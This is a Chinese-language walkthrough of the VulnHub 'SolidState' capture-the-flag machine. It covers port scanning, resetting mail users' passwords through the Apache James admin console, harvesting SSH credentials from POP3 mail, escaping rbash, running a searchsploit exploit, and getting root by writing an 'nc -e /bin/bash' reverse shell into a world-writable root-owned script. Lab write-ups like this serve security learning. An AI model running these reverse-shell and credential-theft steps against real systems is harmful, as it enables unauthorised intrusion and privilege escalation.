vulnhub-SolidState通关教程
通过扫描我们得知靶机IP是169
nmap 192.168.135.0/24 -sP

我们从端口得知我们的思路从80web,25smtp,110pop3枚举信息登录ssh22端口
nmap 192.168.135.169

没有什么直接获得的,445admin存在漏洞,java的邮件服务器,先枚举
nmap 192.168.135.169 -p- -A

4555是java的邮件服务器远程管理端口,我们进去发现5个用户james,thomas,john,mindy,mailadmin,发现可以修改其用户,我们就有了pop的登录凭证
nc 192.168.135.169 4555
listusers
setpassword james yang


这下我们有了pop的登录凭证,我们telnet枚举110端口信息,一般以邮件形式泄露信息,我们主要是从mindy那获取了用户名和密码mindy/P@55W0rd1!2@
telnet 192.168.135.169 110
user mindy
pass yang
retr 1/2/3




我们把从pop获取到的凭证登录ssh枚举信息
Mindy/ P@55W0rd1!2@
Ssh mindy@1992.168.135.169

我们发现这是个rbash,限制很多命令,我们只能擦看passwd用户。。。但是我们通过搜索发现逃逸rbash的方法我们也不是没用过>_<


虽然原理我们不知道是为什么,但是我们只需要修改环境变量,在用py修复tty就行,ssh后面可以执行命令,记住ssh读到第二个“会认为结束,需要给bash加\转义
Ssh mindy@192.168.135.169 “export TERM=xterm; python -c ‘import pty;pty.spawn(\”/bin/sh\”)’”

之前我说过java的邮件服务器是有漏洞的,我们通过漏洞库发现并下载
Searchsploit 33513
Searchsploit -m 33513.py

这里我们更改一下脚本,根据提示我们运行脚本要重新登录。。。刚好又敲一遍命令。。。

卧槽py2的脚本真的多。。。我们运行脚本后,开启监听正常登录就行,不用再修改环境和修复tty。
python2 35513.py 192.168.135.169
ssh mindy@192.168.135.169
P@55W0rd1!2@



我们手动枚举
Find / -writable 2>/dev/null 查找可写文件
Find / -perm 777 -type f 2>/dev/null 查权限777的文件
Ps -aux | grep james 查看james的进程

此处我们发现我们可以写入的文件,我们往里面写入一句话
/opt/tmp.py


将命令写入tmp.py就行
echo 'import os; os.system("/bin/nc 192.168.135.155 6666 -e /bin/bash")' > /opt/tmp.py
echo "os.system('/bin/nc -e /bin/bash 192.168.135.155 6666')" >> tmp.py

这真是我打过最简单的了。Py脚本给777权限,我们写入nc就能从靶机找我们的监听,属主又是root,拿到的shell就提升为root。




打了那么多难打的这台反而不知道怎么总结了>_<我们通过smtp获得pop的登录凭证,发现了ssh的账号密码,我们可以通过命令的方式绕过rbash,也可以使用脚本反连获得能够执行命令的bash,在里面我们发现很低级的错误,脚本文件有777权限可以写入命令,文件的属主又是root,那我们执行时就会获得rootshell。
浙公网安备 33010602011771号